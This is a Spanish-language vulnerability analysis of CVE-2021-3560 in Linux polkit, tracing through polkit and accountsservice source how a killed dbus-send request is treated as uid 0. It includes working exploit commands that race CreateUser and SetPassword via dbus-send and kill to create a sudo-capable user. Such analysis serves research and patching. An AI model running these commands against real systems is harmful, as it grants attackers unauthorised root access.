
Análisis en profundidad de CVE-2021-3560, una vulnerabilidad de escalada de privilegios local en PolKit de Linux. Incluye análisis de la causa raíz, mecánica del exploit y una demostración de la condición de carrera que conduce al acceso root.
[toc]
Identificador de vulnerabilidad: CVE-2021-3560
Puntuación de vulnerabilidad:
Producto vulnerable: linux PolKit (polkitd)
Alcance afectado: introducido en el código fuente 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html
Requisitos de explotación: local en Linux; presencia de dbus + polkitd
Impacto: escalada de privilegios local
Obtención del código fuente:
apt source accountsserviceapt source dbusLa imagen predeterminada de ubuntu-20.04.2 es suficiente para reproducir el problema: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso
Primero veamos el código del problema
/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync
static void
on_retrieved_unix_uid_pid (GObject *src,
GAsyncResult *res,
gpointer user_data)
{
AsyncGetBusNameCredsData *data = user_data;
GVariant *v;
v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
data->caught_error ? NULL : data->error);
if (!v)
{
data->caught_error = TRUE; //某些原因失败之后设置error位
}
else
{
··· ···//执行成功的数据处理
}
··· ···
}
static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName *system_bus_name,
guint32 *out_uid,
guint32 *out_pid,
GCancellable *cancellable,
GError **error)
{
gboolean ret = FALSE;
AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
··· ···
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixUser", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
g_dbus_connection_call (connection,
"org.freedesktop.DBus", /* name */
"/org/freedesktop/DBus", /* object path */
"org.freedesktop.DBus", /* interface name */
"GetConnectionUnixProcessID", /* method */
g_variant_new ("(s)", system_bus_name->name),
G_VARIANT_TYPE ("(u)"),
G_DBUS_CALL_FLAGS_NONE,
-1,
cancellable,
on_retrieved_unix_uid_pid, //回调函数
&data);
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
out:
if (tmp_context)
{
g_main_context_pop_thread_default (tmp_context);
g_main_context_unref (tmp_context);
}
if (connection != NULL)
g_object_unref (connection);
return ret;
}
En la función polkit_system_bus_name_get_creds_sync, dicha función autentica ciertas solicitudes (el escenario lógico específico se detallará más adelante). Primero se invocan los métodos GetConnectionUnixUser y GetConnectionUnixProcessID a través del bus org.freedesktop.DBus. Estos dos métodos son proporcionados por el bus org.freedesktop.DBus y obtienen el PID del proceso solicitante y el UID del usuario; luego se pasan a la función de callback on_retrieved_unix_uid_pid para procesar los datos devueltos. Después se bloquea esperando a que el proceso del bus complete su ejecución.
Se puede observar en la función on_retrieved_unix_uid_pid que, según el resultado devuelto por el bus, se establece si ocurrió un error (¿error?) y luego se activa el bit de error. Si la ejecución es exitosa, simplemente devuelve el UID del usuario o el PID del proceso. Pero en la función polkit_system_bus_name_get_creds_sync, después de bloquear esperando el resultado del bus (el criterio de finalización es que tanto el UID como el PID hayan sido procesados o que haya ocurrido una excepción). Es decir, lógicamente hay tres resultados posibles de vuelta del bus: se obtiene un UID de usuario 0 (usuario privilegiado); se obtiene un UID de usuario distinto de 0 (usuario normal); o una excepción. Pero en el procesamiento posterior no se maneja la excepción: out_uid, que se va a devolver a la capa superior, se establece directamente al data.uid devuelto por el bus, y luego ret se establece directamente en TRUE:
while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常
if (out_uid)
*out_uid = data.uid;
if (out_pid)
*out_pid = data.pid;
ret = TRUE; //无论如何都是 TRUE?
Pero se ignora un caso: cuando el bus DBUS falla, la función de callback establece el bit de excepción y regresa sin procesar los datos data. Como data se inicializa a 0, esto hace que posteriormente out_uid se establezca directamente a 0, es decir, un usuario privilegiado.
Entonces, ¿dónde se utiliza esta función problemática polkit_system_bus_name_get_creds_sync?
El proceso donde reside la vulnerabilidad es el proceso polkitd:
polkit es un conjunto de herramientas a nivel de aplicación que, mediante la definición y revisión de reglas de permisos, permite la comunicación entre procesos de diferentes prioridades: las decisiones de control se centralizan en un marco unificado que determina si un proceso de baja prioridad tiene derecho a acceder a un proceso de alta prioridad.
En resumen, es un proceso root que se ejecuta en segundo plano y, mediante comunicación entre procesos, toma decisiones de permisos cuando otros procesos de bajos privilegios acceden a funcionalidades ofrecidas por procesos de altos privilegios. Como este proceso se reinicia si se adjunta gdb, solo podemos analizarlo a nivel de código fuente para encontrar la ruta de activación de la función vulnerable:
polkitd se desarrolla utilizando ampliamente el framework de comunicación entre procesos gio DBUS. Puede consultar previamente el manual y prestar atención a algunas funciones clave.
A continuación, analizamos la ruta de activación de la vulnerabilidad en polkitd:
Primero, el main:
polkit-0.113\src\polkitbackend\polkitd.c : 155 : main
int
main (int argc,
char **argv)
{
··· ···
··· ···
loop = g_main_loop_new (NULL, FALSE);
sigint_id = g_unix_signal_add (SIGINT,
on_sigint,
NULL);
name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
"org.freedesktop.PolicyKit1", //注册了一个总线名称
G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
(opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
on_bus_acquired, //访问该总线时的回调函数
on_name_acquired,
on_name_lost,
NULL,
NULL);
g_print ("Entering main event loop\n");
g_main_loop_run (loop); //循环启动
··· ···
··· ···
}
Primero se registra un bus llamado org.freedesktop.PolicyKit1, y luego hay tres callbacks; el principal es on_bus_acquired, que se invoca cuando se accede al bus.
En la función on_bus_acquired se llama directamente a una función de registro, polkit_backend_authority_register
Es decir, cuando otras funciones invocan el método CheckAuthorization en el bus org.freedesktop.PolicyKit1.Authority, bajo ciertas circunstancias (controlando a DBUS para que devuelva una excepción al obtener el UID solicitante) se puede afectar la corrección de la autenticación de dicho método. Como podemos ver directamente la solución, el método de explotación es, al usar account-daemon
Primero, citemos esta imagen del autor del exploit:
Expliquemos los elementos de la imagen:
Los tres procesos polkitd, dbus-daemon y account-daemon son procesos de servicio en segundo plano que se ejecutan con privilegios root.
dbus-daemon es un "router" para la comunicación entre procesos, es decir, el núcleo del framework de comunicación entre procesos GIO DBUS mencionado anteriormente. Mi entendimiento es que diferentes procesos pueden registrar nombres de bus aquí, y el proceso que desea comunicarse contigo accede al nombre del bus, la interfaz y el nombre del método para invocar las funciones de tu proceso. Algunas de las funciones del proceso polkitd presentadas anteriormente registran buses en dbus y esperan a que otros procesos las invoquen.
account-daemon es similar a polkitd: registra el bus org.freedesktop.Accounts en dbus y proporciona una serie de métodos relacionados con cuentas, como los que se usarán a continuación para añadir usuarios, establecer contraseñas, etc. Además, este proceso realiza una autenticación del usuario antes de operaciones como añadir un usuario; el método de autenticación utilizado es precisamente el método de bus vulnerable CheckAuthorization proporcionado por el proceso polkitd mencionado anteriormente.
Por lo tanto, el flujo general de eventos de la explotación aquí es:
Usar el comando dbus-send para enviar un mensaje al proceso account-daemon y pedirle que cree un usuario administrador (el método CreateUser proporcionado por este proceso añade por defecto un usuario administrador), pero con nuestra identidad no podemos completar esta operación.
Después de que el mensaje se envía al proceso account-daemon, este solicita al proceso polkitd la verificación de permisos para decidir si se aprueba la operación de añadir usuario.
polkitd preguntará al bus por los permisos del usuario y el ID del proceso que inició la solicitud de creación de usuario.
dbus-send) en el intervalo entre el envío del mensaje, la recepción del mensaje por account-daemon, y la consulta de polkitd al bus sobre los permisos del proceso solicitante.En este momento, el bus detecta que el proceso que solicitó añadir el usuario ha desaparecido y devuelve una excepción.
Según el análisis anterior, el punto de vulnerabilidad es que el proceso polkitd trata la excepción como un éxito por defecto y asume que el uid del usuario es 0, es decir, un usuario privilegiado. Se dispara la vulnerabilidad y se permite la operación.
Dado que dbus-daemon es solo un proceso intermediario, no lo analizaremos en detalle, pero aquí analizamos account-daemon, que es un proceso clave en la explotación. Este proceso también utiliza el framework GIO DBUS. Analicemos brevemente algunos puntos importantes; primero veamos
accountsservice-0.6.45\src\daemon.c : 90
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);
G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
iface->handle_create_user = daemon_create_user;
iface->handle_delete_user = daemon_delete_user;
··· ···
}
Aquí se utilizan las macros G_DEFINE_TYPE_WITH_CODE y G_IMPLEMENT_INTERFACE para ejecutar la función daemon_accounts_accounts_iface_init. En resumen, estas dos macros encuentran la oportunidad de ejecutar daemon_accounts_accounts_iface_init. En esta función se registra el método create_user. Veamos directamente la implementación de daemon_create_user:
accountsservice-0.6.45\src\daemon.c : 1099
static gboolean
daemon_create_user (AccountsAccounts *accounts,
GDBusMethodInvocation *context,
const gchar *user_name,
const gchar *real_name,
gint account_type)
{
··· ···
data = g_new0 (CreateUserData, 1);
data->user_name = g_strdup (user_name);
data->real_name = g_strdup (real_name);
data->account_type = account_type;
daemon_local_check_auth (daemon,
NULL,
"org.freedesktop.accounts.user-administration",
TRUE,
daemon_create_user_authorized_cb, //回调函数
context,
data,
(GDestroyNotify)create_data_free);
return TRUE;
}
En daemon_create_user se llama a daemon_local_check_auth para verificar si los permisos del usuario solicitante están permitidos. Después de una llamada exitosa, se invoca al callback daemon_create_user_authorized_cb. Veamos primero la función de autenticación daemon_local_check_auth:
accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth
void
daemon_local_check_auth (Daemon *daemon,
User *user,
const gchar *action_id,
gboolean allow_interaction,
AuthorizedCallback authorized_cb,
GDBusMethodInvocation *context,
gpointer authorized_cb_data,
GDestroyNotify destroy_notify)
{
··· ···
polkit_authority_check_authorization (daemon->priv->authority,
subject,
action_id,
NULL,
flags,
NULL,
(GAsyncReadyCallback) check_auth_cb,
data);
··· ···
}
Aquí se llama a la función polkit_authority_check_authorization para autenticar. polkit_authority_check_authorization es una función de biblioteca proporcionada por libpolkit-gobject-1.so.0, que simplemente invoca el método CheckAuthorization en el bus org.freedesktop.PolicyKit1.Authority del proceso polkitd analizado anteriormente. Si la autenticación es exitosa, se llama al callback daemon_create_user_authorized_cb:
accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb
static void
daemon_create_user_authorized_cb (Daemon *daemon,
User *dummy,
GDBusMethodInvocation *context,
gpointer data)
{
··· ···
argv[0] = "/usr/sbin/adduser";
argv[1] = "--quiet";
argv[2] = "--disabled-login";
argv[3] = "--gecos";
argv[4] = cd->real_name;
argv[5] = cd->user_name;
argv[6] = NULL;
error = NULL;
if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
g_error_free (error);
return;
}
if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
}
··· ···
}
Aquí ya es bastante evidente: después de añadir al usuario con éxito, este se agrega directamente al grupo sudo. Por lo tanto, al final del exploit, después de añadir el usuario, se puede cambiar a root con sudo su root.
A continuación veamos una demostración manual de la explotación.
Como usuario normal, envíe directamente una solicitud de creación de usuario a account-daemon usando el comando dbus-send:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1
Esta solicitud mostrará una ventana para introducir la contraseña en sistemas operativos con interfaz gráfica:
En terminales de línea de comandos como ssh, fallará directamente:

Siguiendo la idea de explotación anterior, primero veamos el tiempo de ejecución de este comando:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Luego, elija un momento aproximadamente a la mitad de la ejecución del comando para matarlo; así hay probabilidad de disparar la vulnerabilidad y crear el usuario con éxito:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!
Ejecutándolo varias veces, se puede lograr:

Y además estará en el grupo sudo:

Luego, con el mismo método, solo hay que añadirle una contraseña:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!
User1002 debe ajustarse según el UID del usuario recién creado, y la contraseña usa un valor hash. Luego cambie al usuario
No he escrito el exploit en detalle aquí; en realidad basta con automatizar los comandos anteriores. El exploit en C de GitHub también funciona correctamente.
Actualizar a la última versión
Divulgación de la vulnerabilidad (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560
m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502
En la función polkit_backend_authority_register, se registra un objeto de interfaz org.freedesktop.PolicyKit1.Authority y se pasa una tabla de callbacks server_vtable. El punto de activación de la vulnerabilidad está en uno de los callbacks de esta tabla:
policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable
static const GDBusInterfaceVTable server_vtable =
{
server_handle_method_call, //回调函数
server_handle_get_property,
NULL, /* server_handle_set_property */
};
static void
server_handle_method_call (GDBusConnection *connection,
const gchar *sender,
const gchar *object_path,
const gchar *interface_name,
const gchar *method_name,
GVariant *parameters,
GDBusMethodInvocation *invocation,
gpointer user_data)
{
Server *server = user_data;
PolkitSubject *caller;
caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
if (g_strcmp0 (method_name, "EnumerateActions") == 0)
server_handle_enumerate_actions (server, parameters, caller, invocation);
else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
··· ···
··· ···
}
Cuando otros procesos invocan el método CheckAuthorization a través del bus, se llama a la función server_handle_check_authorization.
En la función server_handle_check_authorization, se llama a polkit_backend_authority_check_authorization
En la función polkit_backend_authority_check_authorization, mediante un callback se invoca klass->check_authorization, cuya función registrada es polkit_backend_interactive_authority_check_authorization:
polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization
void
polkit_backend_authority_check_authorization (PolkitBackendAuthority *authority,
PolkitSubject *caller,
PolkitSubject *subject,
const gchar *action_id,
PolkitDetails *details,
PolkitCheckAuthorizationFlags flags,
GCancellable *cancellable,
GAsyncReadyCallback callback,
gpointer user_data)
{
··· ···
if (klass->check_authorization == NULL)
{
··· ···
}
else
{
klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
}
}
authority_class->check_authorization = /
polkit_backend_interactive_authority_check_authorization; //在别处初始化的
Ahora, siguiendo el orden, se llega a: check_authorization_sync
polkit_backend_session_monitor_get_user_for_subject
Función vulnerable: polkit_system_bus_name_get_user_sync
dbus-send es un comando. El bus dbus proporciona algunas interfaces de programación para la comunicación entre procesos, y también ofrece comandos de línea de comandos que pueden enviar mensajes directamente a un proceso determinado para invocar sus métodos.
Aunque el proceso dbus-send fue eliminado, lo que causa que la detección del bus informe una excepción, account-daemon no se ve afectado: una vez que account-daemon recibe el mensaje, ya no se preocupa por si el proceso solicitante sigue existiendo.
Después de que account-daemon recibe la respuesta de polkitd que permite añadir al usuario, crea el usuario y se completa la explotación.